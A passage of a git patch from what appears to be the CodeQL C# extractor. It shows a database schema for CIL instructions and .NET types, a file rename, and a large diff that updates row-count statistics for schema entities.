@cil_binary_jump | @cil_unary_jump; +@cil_binary_jump = @cil_beq_s | @cil_bge_s | @cil_bgt_s | @cil_ble_s | @cil_blt_s | + @cil_bne_un_s | @cil_bge_un_s | @cil_bgt_un_s | @cil_ble_un_s | @cil_blt_un_s | + @cil_beq | @cil_bge | @cil_bgt | @cil_ble | @cil_blt | + @cil_bne_un | @cil_bge_un | @cil_bgt_un | @cil_ble_un | @cil_blt_un; +@cil_unary_jump = @cil_brfalse_s | @cil_brtrue_s | @cil_brfalse | @cil_brtrue | @cil_switch; +@cil_unconditional_jump = @cil_br | @cil_br_s | @cil_leave_any; +@cil_leave_any = @cil_leave | @cil_leave_s; +@cil_jump = @cil_unconditional_jump | @cil_conditional_jump; + +// CIL call instructions + +@cil_call_any = @cil_jmp | @cil_call | @cil_calli | @cil_tail | @cil_callvirt | @cil_newobj; + +// CIL expression instructions + +@cil_expr = @cil_literal | @cil_binary_expr | @cil_unary_expr | @cil_call_any | @cil_read_access | + @cil_newarr | @cil_ldtoken | @cil_sizeof | + @cil_ldftn | @cil_ldvirtftn | @cil_localloc | @cil_mkrefany | @cil_refanytype | @cil_arglist | @cil_dup; + +@cil_unary_expr = + @cil_conversion_operation | @cil_unary_arithmetic_operation | @cil_unary_bitwise_operation| + @cil_ldlen | @cil_isinst | @cil_box | @cil_ldobj | @cil_castclass | @cil_unbox_any | + @cil_ldind | @cil_unbox; + +@cil_conversion_operation = + @cil_conv_i1 | @cil_conv_i2 | @cil_conv_i4 | @cil_conv_i8 | + @cil_conv_u1 | @cil_conv_u2 | @cil_conv_u4 | @cil_conv_u8 | + @cil_conv_ovf_i | @cil_conv_ovf_i_un | @cil_conv_ovf_i1 | @cil_conv_ovf_i1_un | + @cil_conv_ovf_i2 | @cil_conv_ovf_i2_un | @cil_conv_ovf_i4 | @cil_conv_ovf_i4_un | + @cil_conv_ovf_i8 | @cil_conv_ovf_i8_un | @cil_conv_ovf_u | @cil_conv_ovf_u_un | + @cil_conv_ovf_u1 | @cil_conv_ovf_u1_un | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_ovf_u4 | @cil_conv_ovf_u4_un | @cil_conv_ovf_u8 | @cil_conv_ovf_u8_un | + @cil_conv_r4 | @cil_conv_r8 | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_i | @cil_conv_u | @cil_conv_r_un; + +@cil_ldind = @cil_ldind_i | @cil_ldind_i1 | @cil_ldind_i2 | @cil_ldind_i4 | @cil_ldind_i8 | + @cil_ldind_r4 | @cil_ldind_r8 | @cil_ldind_ref | @cil_ldind_u1 | @cil_ldind_u2 | @cil_ldind_u4; + +@cil_stind = @cil_stind_i | @cil_stind_i1 | @cil_stind_i2 | @cil_stind_i4 | @cil_stind_i8 | + @cil_stind_r4 | @cil_stind_r8 | @cil_stind_ref; + +@cil_bitwise_operation = @cil_binary_bitwise_operation | @cil_unary_bitwise_operation; + +@cil_binary_bitwise_operation = @cil_and | @cil_or | @cil_xor | @cil_shr | @cil_shr | @cil_shr_un | @cil_shl; + +@cil_binary_arithmetic_operation = @cil_add | @cil_sub | @cil_mul | @cil_div | @cil_div_un | + @cil_rem | @cil_rem_un | @cil_add_ovf | @cil_add_ovf_un | @cil_mul_ovf | @cil_mul_ovf_un | + @cil_sub_ovf | @cil_sub_ovf_un; + +@cil_unary_bitwise_operation = @cil_not; + +@cil_binary_expr = @cil_binary_arithmetic_operation | @cil_binary_bitwise_operation | @cil_read_array | @cil_comparison_operation; + +@cil_unary_arithmetic_operation = @cil_neg; + +@cil_comparison_operation = @cil_cgt_un | @cil_ceq | @cil_cgt | @cil_clt | @cil_clt_un; + +// Elements that retrieve an address of something +@cil_read_ref = @cil_ldloca_s | @cil_ldarga_s | @cil_ldflda | @cil_ldsflda | @cil_ldelema; + +// CIL array instructions + +@cil_read_array = + @cil_ldelem | @cil_ldelema | @cil_ldelem_i1 | @cil_ldelem_ref | @cil_ldelem_i | + @cil_ldelem_i1 | @cil_ldelem_i2 | @cil_ldelem_i4 | @cil_ldelem_i8 | @cil_ldelem_r4 | + @cil_ldelem_r8 | @cil_ldelem_u1 | @cil_ldelem_u2 | @cil_ldelem_u4; + +@cil_write_array = @cil_stelem | @cil_stelem_ref | + @cil_stelem_i | @cil_stelem_i1 | @cil_stelem_i2 | @cil_stelem_i4 | @cil_stelem_i8 | + @cil_stelem_r4 | @cil_stelem_r8; + +@cil_throw_any = @cil_throw | @cil_rethrow; + +#keyset[impl, index] +cil_instruction( + unique int id: @cil_instruction, + int opcode: int ref, + int index: int ref, + int impl: @cil_method_implementation ref); + +cil_jump( + unique int instruction: @cil_jump ref, + int target: @cil_instruction ref); + +cil_access( + unique int instruction: @cil_instruction ref, + int target: @cil_accessible ref); + +cil_value( + unique int instruction: @cil_literal ref, + string value: string ref); + +#keyset[instruction, index] +cil_switch( + int instruction: @cil_switch ref, + int index: int ref, + int target: @cil_instruction ref); + +cil_instruction_location( + unique int id: @cil_instruction ref, + int loc: @location ref); + +cil_type_location( + int id: @cil_type ref, + int loc: @location ref); + +cil_method_location( + int id: @cil_method ref, + int loc: @location ref); + +@cil_namespace = @namespace; + +@cil_type_container = @cil_type | @cil_namespace | @cil_method; + +case @cil_type.kind of + 0 = @cil_valueorreftype +| 1 = @cil_typeparameter +| 2 = @cil_array_type +| 3 = @cil_pointer_type +| 4 = @cil_function_pointer_type +; + +cil_type( + unique int id: @cil_type, + string name: string ref, + int kind: int ref, + int parent: @cil_type_container ref, + int sourceDecl: @cil_type ref); + +cil_pointer_type( + unique int id: @cil_pointer_type ref, + int pointee: @cil_type ref); + +cil_array_type( + unique int id: @cil_array_type ref, + int element_type: @cil_type ref, + int rank: int ref); + +cil_function_pointer_return_type( + unique int id: @cil_function_pointer_type ref, + int return_type: @cil_type ref); + +cil_method( + unique int id: @cil_method, + string name: string ref, + int parent: @cil_type ref, + int return_type: @cil_type ref); + +cil_method_source_declaration( + unique int method: @cil_method ref, + int source: @cil_method ref); + +cil_method_implementation( + unique int id: @cil_method_implementation, + int method: @cil_method ref, + int location: @assembly ref); + +cil_implements( + int id: @cil_method ref, + int decl: @cil_method ref); + +#keyset[parent, name] +cil_field( + unique int id: @cil_field, + int parent: @cil_type ref, + string name: string ref, + int field_type: @cil_type ref); + +@cil_element = @cil_instruction | @cil_declaration | @cil_handler | @cil_attribute | @cil_namespace; +@cil_named_element = @cil_declaration | @cil_namespace; +@cil_declaration = @cil_variable | @cil_method | @cil_type | @cil_member; +@cil_accessible = @cil_declaration; +@cil_variable = @cil_field | @cil_stack_variable; +@cil_stack_variable = @cil_local_variable | @cil_parameter; +@cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; +@cil_custom_modifier_receiver = @cil_method | @cil_property | @cil_parameter | @cil_field | @cil_function_pointer_type; +@cil_parameterizable = @cil_method | @cil_function_pointer_type; +@cil_has_type_annotation = @cil_stack_variable | @cil_property | @cil_method | @cil_function_pointer_type; + +#keyset[parameterizable, index] +cil_parameter( + unique int id: @cil_parameter, + int parameterizable: @cil_parameterizable ref, + int index: int ref, + int param_type: @cil_type ref); + +cil_parameter_in(unique int id: @cil_parameter ref); +cil_parameter_out(unique int id: @cil_parameter ref); + +cil_setter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +#keyset[id, modifier] +cil_custom_modifiers( + int id: @cil_custom_modifier_receiver ref, + int modifier: @cil_type ref, + int kind: int ref); // modreq: 1, modopt: 0 + +cil_type_annotation( + int id: @cil_has_type_annotation ref, + int annotation: int ref); + +cil_getter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_adder(unique int event: @cil_event ref, + int method: @cil_method ref); + +cil_remover(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_raiser(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_property( + unique int id: @cil_property, + int parent: @cil_type ref, + string name: string ref, + int property_type: @cil_type ref); + +#keyset[parent, name] +cil_event(unique int id: @cil_event, + int parent: @cil_type ref, + string name: string ref, + int event_type: @cil_type ref); + +#keyset[impl, index] +cil_local_variable( + unique int id: @cil_local_variable, + int impl: @cil_method_implementation ref, + int index: int ref, + int var_type: @cil_type ref); + +cil_function_pointer_calling_conventions( + int id: @cil_function_pointer_type ref, + int kind: int ref); + +// CIL handlers (exception handlers etc). + +case @cil_handler.kind of + 0 = @cil_catch_handler +| 1 = @cil_filter_handler +| 2 = @cil_finally_handler +| 4 = @cil_fault_handler +; + +#keyset[impl, index] +cil_handler( + unique int id: @cil_handler, + int impl: @cil_method_implementation ref, + int index: int ref, + int kind: int ref, + int try_start: @cil_instruction ref, + int try_end: @cil_instruction ref, + int handler_start: @cil_instruction ref); + +cil_handler_filter( + unique int id: @cil_handler ref, + int filter_start: @cil_instruction ref); + +cil_handler_type( + unique int id: @cil_handler ref, + int catch_type: @cil_type ref); + +@cil_controlflow_node = @cil_entry_point | @cil_instruction; + +@cil_entry_point = @cil_method_implementation | @cil_handler; + +@cil_dataflow_node = @cil_instruction | @cil_variable | @cil_method; + +cil_method_stack_size( + unique int method: @cil_method_implementation ref, + int size: int ref); + +// CIL modifiers + +cil_public(int id: @cil_member ref); +cil_private(int id: @cil_member ref); +cil_protected(int id: @cil_member ref); +cil_internal(int id: @cil_member ref); +cil_static(int id: @cil_member ref); +cil_sealed(int id: @cil_member ref); +cil_virtual(int id: @cil_method ref); +cil_abstract(int id: @cil_member ref); +cil_class(int id: @cil_type ref); +cil_interface(int id: @cil_type ref); +cil_security(int id: @cil_member ref); +cil_requiresecobject(int id: @cil_method ref); +cil_specialname(int id: @cil_method ref); +cil_newslot(int id: @cil_method ref); + +cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); +cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); +cil_enum_underlying_type(unique int id: @cil_type ref, int underlying: @cil_type ref); + +#keyset[unbound, index] +cil_type_parameter( + int unbound: @cil_member ref, + int index: int ref, + int param: @cil_typeparameter ref); + +#keyset[bound, index] +cil_type_argument( + int bound: @cil_member ref, + int index: int ref, + int t: @cil_type ref); + +// CIL type parameter constraints + +cil_typeparam_covariant(int tp: @cil_typeparameter ref); +cil_typeparam_contravariant(int tp: @cil_typeparameter ref); +cil_typeparam_class(int tp: @cil_typeparameter ref); +cil_typeparam_struct(int tp: @cil_typeparameter ref); +cil_typeparam_new(int tp: @cil_typeparameter ref); +cil_typeparam_constraint(int tp: @cil_typeparameter ref, int supertype: @cil_type ref); + +// CIL attributes + +cil_attribute( + unique int attributeid: @cil_attribute, + int element: @cil_declaration ref, + int constructor: @cil_method ref); + +#keyset[attribute_id, param] +cil_attribute_named_argument( + int attribute_id: @cil_attribute ref, + string param: string ref, + string value: string ref); + +#keyset[attribute_id, index] +cil_attribute_positional_argument( + int attribute_id: @cil_attribute ref, + int index: int ref, + string value: string ref); + + +// Common .Net data model covering both C# and CIL + +// Common elements +@dotnet_element = @element | @cil_element; +@dotnet_named_element = @named_element | @cil_named_element; +@dotnet_callable = @callable | @cil_method; +@dotnet_variable = @variable | @cil_variable; +@dotnet_field = @field | @cil_field; +@dotnet_parameter = @parameter | @cil_parameter; +@dotnet_declaration = @declaration | @cil_declaration; +@dotnet_member = @member | @cil_member; +@dotnet_event = @event | @cil_event; +@dotnet_property = @property | @cil_property | @indexer; +@dotnet_parameterizable = @parameterizable | @cil_parameterizable; + +// Common types +@dotnet_type = @type | @cil_type; +@dotnet_call = @call | @cil_call_any; +@dotnet_throw = @throw_element | @cil_throw_any; +@dotnet_valueorreftype = @cil_valueorreftype | @value_or_ref_type | @cil_array_type | @void_type; +@dotnet_typeparameter = @type_parameter | @cil_typeparameter; +@dotnet_array_type = @array_type | @cil_array_type; +@dotnet_pointer_type = @pointer_type | @cil_pointer_type; +@dotnet_type_parameter = @type_parameter | @cil_typeparameter; +@dotnet_generic = @dotnet_valueorreftype | @dotnet_callable; + +// Attributes +@dotnet_attribute = @attribute | @cil_attribute; + +// Expressions +@dotnet_expr = @expr | @cil_expr; + +// Literals +@dotnet_literal = @literal_expr | @cil_literal; +@dotnet_string_literal = @string_literal_expr | @cil_ldstr; +@dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; +@dotnet_float_literal = @float_literal_expr | @cil_ldc_r; +@dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/upgrades/TO_CHANGE/upgrade.properties b/csharp/upgrades/68db341c2ed1693c2ae6e20ad533c84138cb275a/upgrade.properties similarity index 100% rename from csharp/upgrades/TO_CHANGE/upgrade.properties rename to csharp/upgrades/68db341c2ed1693c2ae6e20ad533c84138cb275a/upgrade.properties From 6d908876e0ff3ea8648228326a06943d90f55f22 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Fri, 5 Feb 2021 09:31:16 +0100 Subject: [PATCH 1104/1241] Add new .stats file --- .../ql/src/semmlecode.csharp.dbscheme.stats | 15991 ++++++++-------- 1 file changed, 8235 insertions(+), 7756 deletions(-) diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme.stats b/csharp/ql/src/semmlecode.csharp.dbscheme.stats index c294897e009..bb3e0fcb650 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme.stats +++ b/csharp/ql/src/semmlecode.csharp.dbscheme.stats @@ -1,7 +1,7 @@ @compilation -564 +1095 @diagnostic @@ -9,7 +9,7 @@ @extractor_message -750 +7638 @externalDefect @@ -21,11 +21,11 @@ @externalDataElement -15 +29 @duplication -11701 +22735 @similarity @@ -33,67 +33,67 @@ @location_default -11326677 +14080010 @assembly -2160 +4198 @file -24351 +47312 @folder -9177 +17831 @namespace -11293 +21942 @namespace_declaration -8355 +19760 @using_namespace_directive -66100 +144252 @using_static_directive -199 +390 @directive_if -2550 +5161 @directive_elif -7 +59 @directive_else -1140 +2314 @directive_endif -2550 +5161 @directive_region -565 +1954 @directive_endregion -565 +1954 @directive_line -128896 +250436 @directive_nullable -83477 +162190 @directive_warning @@ -101,7 +101,7 @@ @directive_error -1 +28 @directive_undefine @@ -109,119 +109,119 @@ @directive_define -5 +22 @pragma_checksum -2494 +4846 @pragma_warning -14725 +28609 @bool_type -2 +4 @char_type -2 +4 @decimal_type -2 +4 @sbyte_type -2 +4 @short_type -2 +4 @int_type -2 +4 @long_type -2 +4 @byte_type -2 +4 @ushort_type -2 +4 @uint_type -2 +4 @ulong_type -2 +4 @float_type -2 +4 @double_type -2 +4 @enum_type -6141 +11952 @struct_type -24822 +49665 @class_type -154426 +305098 @interface_type -88664 +178112 @delegate_type -52237 +107567 @null_type -2 +4 @type_parameter -102321 +202597 @pointer_type -112 +219 @nullable_type -550 +979 @array_type -4384 +9122 @void_type -2 +4 @int_ptr_type -2 +4 @tuple_type -857 +1782 @uint_ptr_type @@ -229,7 +229,7 @@ @dynamic_type -2 +4 @arglist_type @@ -241,495 +241,495 @@ @function_pointer_type -9 +11 @typeref -120781 +234791 @attribute -368399 +745454 @type_mention -622003 +1252212 @oblivious -664 +1315 @not_annotated -300 +618 @annotated -75 +113 @type_parameter_constraints -273733 +594129 @modifier -42 +82 @property -212542 +425592 @indexer -7590 +17042 @getter -220012 +442401 @setter -64470 +127526 @event -7838 +15230 @add_event_accessor -7838 +15230 @remove_event_accessor -7838 +15230 @operator -6201 +12410 @method -549172 +1117636 @constructor -138720 +277979 @destructor -225 +443 @local_function -488 +1801 @addressable_field -188270 +371421 @constant -95194 +185214 @addressable_local_variable -72587 +162452 @local_constant -373 +799 @local_variable_ref -67 - - -@parameter -1189134 - - -@block_stmt -159797 - - -@expr_stmt -178398 - - -@return_stmt -40051 - - -@using_block_stmt -517 - - -@var_decl_stmt -67553 - - -@if_stmt -50740 - - -@switch_stmt -1447 - - -@while_stmt -1984 - - -@do_stmt -386 - - -@for_stmt -3124 - - -@foreach_stmt -1910 - - -@break_stmt -5413 - - -@continue_stmt -1168 - - -@goto_stmt -1045 - - -@goto_case_stmt -154 - - -@goto_default_stmt -61 - - -@throw_stmt -50988 - - -@yield_stmt -194 - - -@try_stmt -2011 - - -@checked_stmt -146 - - -@unchecked_stmt -36 - - -@lock_stmt -496 - - -@const_decl_stmt -373 - - -@empty_stmt -115 - - -@unsafe_stmt -53 - - -@fixed_stmt -496 - - -@label_stmt -423 - - -@catch -1719 - - -@case_stmt -10966 - - -@local_function_stmt -488 - - -@using_decl_stmt -189 - - -@bool_literal_expr -40242 - - -@int_literal_expr -408062 - - -@long_literal_expr -153 - - -@double_literal_expr -337 - - -@string_literal_expr -207177 - - -@null_literal_expr -64946 - - -@local_variable_access_expr -233847 - - -@parameter_access_expr -146824 - - -@field_access_expr -226547 - - -@property_access_expr -168128 - - -@type_access_expr -170095 - - -@typeof_expr -23893 - - -@method_invocation_expr -259436 - - -@cast_expr -107752 - - -@object_creation_expr -28063 - - -@array_creation_expr -90105 - - -@array_init_expr -89964 - - -@local_var_decl_expr -72969 - - -@char_literal_expr -8057 - - -@decimal_literal_expr -49 - - -@uint_literal_expr -811 - - -@ulong_literal_expr -189 - - -@float_literal_expr -123 - - -@this_access_expr -293267 - - -@base_access_expr -1617 - - -@method_access_expr -3188 - - -@event_access_expr -162 - - -@indexer_access_expr -14740 - - -@array_access_expr -10091 - - -@delegate_invocation_expr -783 - - -@operator_invocation_expr -12666 - - -@explicit_delegate_creation_expr -482 - - -@implicit_delegate_creation_expr -2546 - - -@default_expr -3354 - - -@plus_expr -12 - - -@minus_expr -2658 - - -@bit_not_expr 264 +@parameter +2417427 + + +@block_stmt +306459 + + +@expr_stmt +367208 + + +@return_stmt +94364 + + +@using_block_stmt +1140 + + +@var_decl_stmt +147598 + + +@if_stmt +117703 + + +@switch_stmt +3065 + + +@while_stmt +4447 + + +@do_stmt +981 + + +@for_stmt +6794 + + +@foreach_stmt +5352 + + +@break_stmt +11004 + + +@continue_stmt +2218 + + +@goto_stmt +2733 + + +@goto_case_stmt +329 + + +@goto_default_stmt +145 + + +@throw_stmt +75132 + + +@yield_stmt +680 + + +@try_stmt +4294 + + +@checked_stmt +253 + + +@unchecked_stmt +104 + + +@lock_stmt +1523 + + +@const_decl_stmt +799 + + +@empty_stmt +351 + + +@unsafe_stmt +182 + + +@fixed_stmt +1149 + + +@label_stmt +1017 + + +@catch +3419 + + +@case_stmt +22718 + + +@local_function_stmt +1792 + + +@using_decl_stmt +551 + + +@bool_literal_expr +69328 + + +@int_literal_expr +752491 + + +@long_literal_expr +331 + + +@double_literal_expr +864 + + +@string_literal_expr +411643 + + +@null_literal_expr +107815 + + +@local_variable_access_expr +522589 + + +@parameter_access_expr +353685 + + +@field_access_expr +459628 + + +@property_access_expr +359104 + + +@type_access_expr +346616 + + +@typeof_expr +33657 + + +@method_invocation_expr +547072 + + +@cast_expr +264239 + + +@object_creation_expr +62511 + + +@array_creation_expr +179799 + + +@array_init_expr +179348 + + +@local_var_decl_expr +163320 + + +@char_literal_expr +16183 + + +@decimal_literal_expr +93 + + +@uint_literal_expr +2406 + + +@ulong_literal_expr +390 + + +@float_literal_expr +454 + + +@this_access_expr +591816 + + +@base_access_expr +2840 + + +@method_access_expr +9222 + + +@event_access_expr +433 + + +@indexer_access_expr +30757 + + +@array_access_expr +19356 + + +@delegate_invocation_expr +2001 + + +@operator_invocation_expr +29946 + + +@explicit_delegate_creation_expr +679 + + +@implicit_delegate_creation_expr +5109 + + +@default_expr +6144 + + +@plus_expr +45 + + +@minus_expr +7069 + + +@bit_not_expr +738 + + @log_not_expr -12491 +26384 @post_incr_expr -5382 +12312 @post_decr_expr -698 +1697 @pre_incr_expr -671 +1261 @pre_decr_expr -125 +406 @mul_expr -1387 +4626 @div_expr -612 +1791 @rem_expr -276 +704 @add_expr -12723 +27751 @sub_expr -4948 +12573 @lshift_expr -914 +4121 @rshift_expr -707 +1763 @lt_expr -6804 +15922 @gt_expr -3980 +9379 @le_expr -1422 +3829 @ge_expr -2380 +6014 @eq_expr -23261 +53515 @ne_expr -16042 +37219 @bit_and_expr -2303 +6298 @bit_xor_expr -217 +528 @bit_or_expr -6954 +15227 @log_and_expr -9148 +21263 @log_or_expr -6420 +14197 @is_expr -3108 +6486 @as_expr -1363 +2728 @null_coalescing_expr -1422 +3615 @conditional_expr -3413 +8972 @simple_assign_expr -79093 +167202 @assign_add_expr @@ -737,67 +737,67 @@ @assign_sub_expr -434 +1021 @assign_mul_expr -81 +182 @assign_div_expr -44 +99 @assign_rem_expr -3 +14 @assign_and_expr -103 +340 @assign_xor_expr -49 +114 @assign_or_expr -562 +1412 @assign_lshift_expr -31 +118 @assign_rshift_expr -64 +216 @object_init_expr -3456 +7685 @collection_init_expr -265 +594 @checked_expr -140 +326 @unchecked_expr -609 +1421 @constructor_init_expr -3163 +5796 @add_event_expr -63 +172 @remove_event_expr -53 +121 @par_expr @@ -805,11 +805,11 @@ @lambda_expr -23125 +48769 @anonymous_method_expr -41 +86 @namespace_expr @@ -817,35 +817,35 @@ @dynamic_element_access_expr -117 +331 @dynamic_member_access_expr -2975 +6843 @pointer_indirection_expr -1878 +4141 @address_of_expr -475 +1289 @sizeof_expr -255 +1061 @await_expr -25782 +54750 @nameof_expr -5774 +15584 @interpolated_string_expr -894 +3042 @unknown_expr @@ -853,71 +853,71 @@ @throw_expr -643 +1527 @tuple_expr -440 +1450 @local_function_invocation_expr -1187 +7490 @ref_expr -124 +459 @discard_expr -317 +903 @range_expr -15 +33 @index_expr -21 +47 @switch_expr -199 +508 @recursive_pattern_expr -199 +1011 @property_pattern_expr -154 +836 @positional_pattern_expr -45 +172 @switch_case_expr -2068 +4334 @assign_coalesce_expr -183 +544 @suppress_nullable_warning_expr -5940 +13849 @namespace_access_expr -11 +20 @lt_pattern_expr -1 +2 @gt_pattern_expr -2 +5 @le_pattern_expr @@ -929,27 +929,27 @@ @not_pattern_expr -19 +70 @and_pattern_expr -2 +3 @or_pattern_expr -21 +34 @function_pointer_invocation_expr -4 +6 @define_symbol_expr -3314 +6226 @xmldtd -5 +6 @xmlelement @@ -973,19 +973,19 @@ @singlelinecomment -86064 +189072 @multilinecomment -7533 +22567 @xmldoccomment -638 +207952 @commentblock -42325 +147802 @asp_close_tag @@ -1025,7 +1025,7 @@ @cil_nop -712327 +837337 @cil_break @@ -1033,147 +1033,147 @@ @cil_ldarg_0 -2043128 +3969647 @cil_ldarg_1 -625320 +1214950 @cil_ldarg_2 -228137 +443253 @cil_ldarg_3 -107503 +208870 @cil_ldloc_0 -477604 +927950 @cil_ldloc_1 -253859 +493230 @cil_ldloc_2 -148392 +288314 @cil_ldloc_3 -98711 +191789 @cil_stloc_0 -269813 +524227 @cil_stloc_1 -133892 +260143 @cil_stloc_2 -101925 +198033 @cil_stloc_3 -71081 +138105 @cil_ldarg_s -135953 +264147 @cil_ldarga_s -38429 +74666 @cil_starg_s -19107 +37123 @cil_ldloc_s -352774 +685414 @cil_ldloca_s -323414 +628370 @cil_stloc_s -247141 +480177 @cil_ldnull -310296 +602882 @cil_ldc_i4_m1 -64864 +126026 @cil_ldc_i4_0 -321534 +624717 @cil_ldc_i4_1 -254240 +493970 @cil_ldc_i4_2 -62207 +120863 @cil_ldc_i4_3 -32972 +64062 @cil_ldc_i4_4 -30262 +58797 @cil_ldc_i4_5 -19881 +38628 @cil_ldc_i4_6 -11957 +23232 @cil_ldc_i4_7 -10666 +20724 @cil_ldc_i4_8 -17209 +33436 @cil_ldc_i4_s -217583 +422748 @cil_ldc_i4 -262565 +510146 @cil_ldc_i8 -2511 +4880 @cil_ldc_r4 -5274 +10247 @cil_ldc_r8 -5309 +10315 @cil_dup -432865 +841025 @cil_pop -131816 +256110 @cil_jmp @@ -1181,7 +1181,7 @@ @cil_call -1409225 +2738019 @cil_calli @@ -1189,283 +1189,283 @@ @cil_ret -918306 +1784201 @cil_br_s -191079 +345383 @cil_brfalse_s -239525 +465380 @cil_brtrue_s -221401 +430166 @cil_beq_s -42285 +82157 @cil_bge_s -17953 +34883 @cil_bgt_s -8480 +16477 @cil_ble_s -15010 +29165 @cil_blt_s -31322 +60858 @cil_bne_un_s -52771 +102530 @cil_bge_un_s -1123 +2182 @cil_bgt_un_s -4489 +8723 @cil_ble_un_s -3146 +6112 @cil_blt_un_s -754 +1466 @cil_br -49429 +96038 @cil_brfalse -16652 +32355 @cil_brtrue -14050 +27299 @cil_beq -11057 +21484 @cil_bge -714 +1388 @cil_bgt -752 +1461 @cil_ble -2386 +4636 @cil_blt -4078 +7924 @cil_bne_un -3720 +7227 @cil_bge_un -140 +142 @cil_bgt_un -355 +691 @cil_ble_un -566 +1100 @cil_blt_un -92 +180 @cil_switch -12275 +23851 @cil_ldind_i1 -75 +88 @cil_ldind_u1 -3165 +5503 @cil_ldind_i2 -263 +511 @cil_ldind_u2 -2123 +2496 @cil_ldind_i4 -5026 +9765 @cil_ldind_u4 -762 +1480 @cil_ldind_i8 -1012 +1967 @cil_ldind_i -212 +249 @cil_ldind_r4 -360 +701 @cil_ldind_r8 -135 +263 @cil_ldind_ref -3421 +6648 @cil_stind_ref -8706 +16915 @cil_stind_i1 -4381 +8513 @cil_stind_i2 -1195 +1405 @cil_stind_i4 -5705 +10350 @cil_stind_i8 -1205 +2342 @cil_stind_r4 -105 +185 @cil_stind_r8 -115 +224 @cil_add -115141 +223711 @cil_sub -43842 +85181 @cil_mul -15396 +29915 @cil_div -4690 +9112 @cil_div_un -194 +253 @cil_rem -1752 +3404 @cil_rem_un -117 +228 @cil_and -30503 +59265 @cil_or -11386 +22122 @cil_xor -11676 +22687 @cil_shl -9751 +18946 @cil_shr -4717 +9166 @cil_shr_un -13421 +26077 @cil_neg -1200 +2333 @cil_not -749 +1456 @cil_conv_i1 -711 +1383 @cil_conv_i2 -744 +1446 @cil_conv_i4 -30731 +59708 @cil_conv_i8 -25852 +50230 @cil_conv_r4 -1268 +2464 @cil_conv_r8 -2714 +5274 @cil_conv_u4 -4025 +7822 @cil_conv_u8 -10047 +19521 @cil_callvirt -1054079 +2047997 @cil_cpobj @@ -1473,27 +1473,27 @@ @cil_ldobj -6505 +12639 @cil_ldstr -476424 +925656 @cil_newobj -337788 +656298 @cil_castclass -49901 +96954 @cil_isinst -29019 +56382 @cil_conv_r_un -135 +263 @cil_unbox @@ -1501,59 +1501,59 @@ @cil_throw -271796 +380778 @cil_ldfld -861960 +1674725 @cil_ldflda -154586 +300350 @cil_stfld -551659 +1071833 @cil_ldsfld -209405 +406860 @cil_ldsflda -1301 +2527 @cil_stsfld -67303 +130765 @cil_stobj -3609 +7013 @cil_conv_ovf_i1_un -10 +19 @cil_conv_ovf_i2_un -7 +14 @cil_conv_ovf_i4_un -87 +170 @cil_conv_ovf_i8_un -15 +29 @cil_conv_ovf_u1_un -10 +19 @cil_conv_ovf_u2_un -5 +9 @cil_conv_ovf_u4_un @@ -1565,7 +1565,7 @@ @cil_conv_ovf_i_un -67 +131 @cil_conv_ovf_u_un @@ -1573,139 +1573,139 @@ @cil_box -41044 +79746 @cil_newarr -57634 +111979 @cil_ldlen -28445 +55266 @cil_ldelema -5073 +9858 @cil_ldelem_i1 -90 +175 @cil_ldelem_u1 -8006 +15556 @cil_ldelem_i2 -220 +428 @cil_ldelem_u2 -3131 +6083 @cil_ldelem_i4 -9039 +17563 @cil_ldelem_u4 -9826 +19092 @cil_ldelem_i8 -6129 +11908 @cil_ldelem_i -7 +14 @cil_ldelem_r4 -145 +282 @cil_ldelem_r8 -235 +457 @cil_ldelem_ref -15783 +30665 @cil_stelem_i -11 +14 @cil_stelem_i1 -4519 +8781 @cil_stelem_i2 -4620 +8976 @cil_stelem_i4 -11734 +22799 @cil_stelem_i8 -4845 +9414 @cil_stelem_r4 -102 +199 @cil_stelem_r8 -245 +477 @cil_stelem_ref -186586 +362523 @cil_ldelem -1170 +2274 @cil_stelem -27565 +53557 @cil_unbox_any -7397 +14373 @cil_conv_ovf_i1 -12 +24 @cil_conv_ovf_u1 -57 +112 @cil_conv_ovf_i2 -40 +77 @cil_conv_ovf_u2 -27 +53 @cil_conv_ovf_i4 -147 +287 @cil_conv_ovf_u4 -40 +77 @cil_conv_ovf_i8 -7 +14 @cil_conv_ovf_u8 -23 +29 @cil_refanyval @@ -1721,23 +1721,23 @@ @cil_ldtoken -36662 +71232 @cil_conv_u2 -2231 +4334 @cil_conv_u1 -5788 +11246 @cil_conv_i -3181 +3740 @cil_conv_ovf_i -137 +267 @cil_conv_ovf_u @@ -1745,47 +1745,47 @@ @cil_add_ovf -889 +1729 @cil_add_ovf_un -77 +150 @cil_mul_ovf -228 +443 @cil_mul_ovf_un -195 +253 @cil_sub_ovf -571 +1110 @cil_sub_ovf_un -15 +29 @cil_endfinally -29252 +56834 @cil_leave -34373 +66785 @cil_leave_s -76776 +149171 @cil_stind_i -108 +127 @cil_conv_u -5046 +5932 @cil_arglist @@ -1793,31 +1793,31 @@ @cil_ceq -84249 +99035 @cil_cgt -10049 +11813 @cil_cgt_un -31892 +37489 @cil_clt -16960 +19937 @cil_clt_un -1141 +1341 @cil_ldftn -41092 +79838 @cil_ldvirtftn -571 +1110 @cil_ldarg @@ -1845,11 +1845,11 @@ @cil_localloc -849 +999 @cil_endfilter -416 +808 @cil_unaligned @@ -1857,7 +1857,7 @@ @cil_volatile -4389 +8528 @cil_tail @@ -1865,27 +1865,27 @@ @cil_initobj -52322 +101659 @cil_constrained -13012 +25283 @cil_cpblk -10 +19 @cil_initblk -2 +4 @cil_rethrow -1937 +3764 @cil_sizeof -889 +1729 @cil_refanytype @@ -1893,23 +1893,23 @@ @cil_readonly -17 +34 @cil_valueorreftype 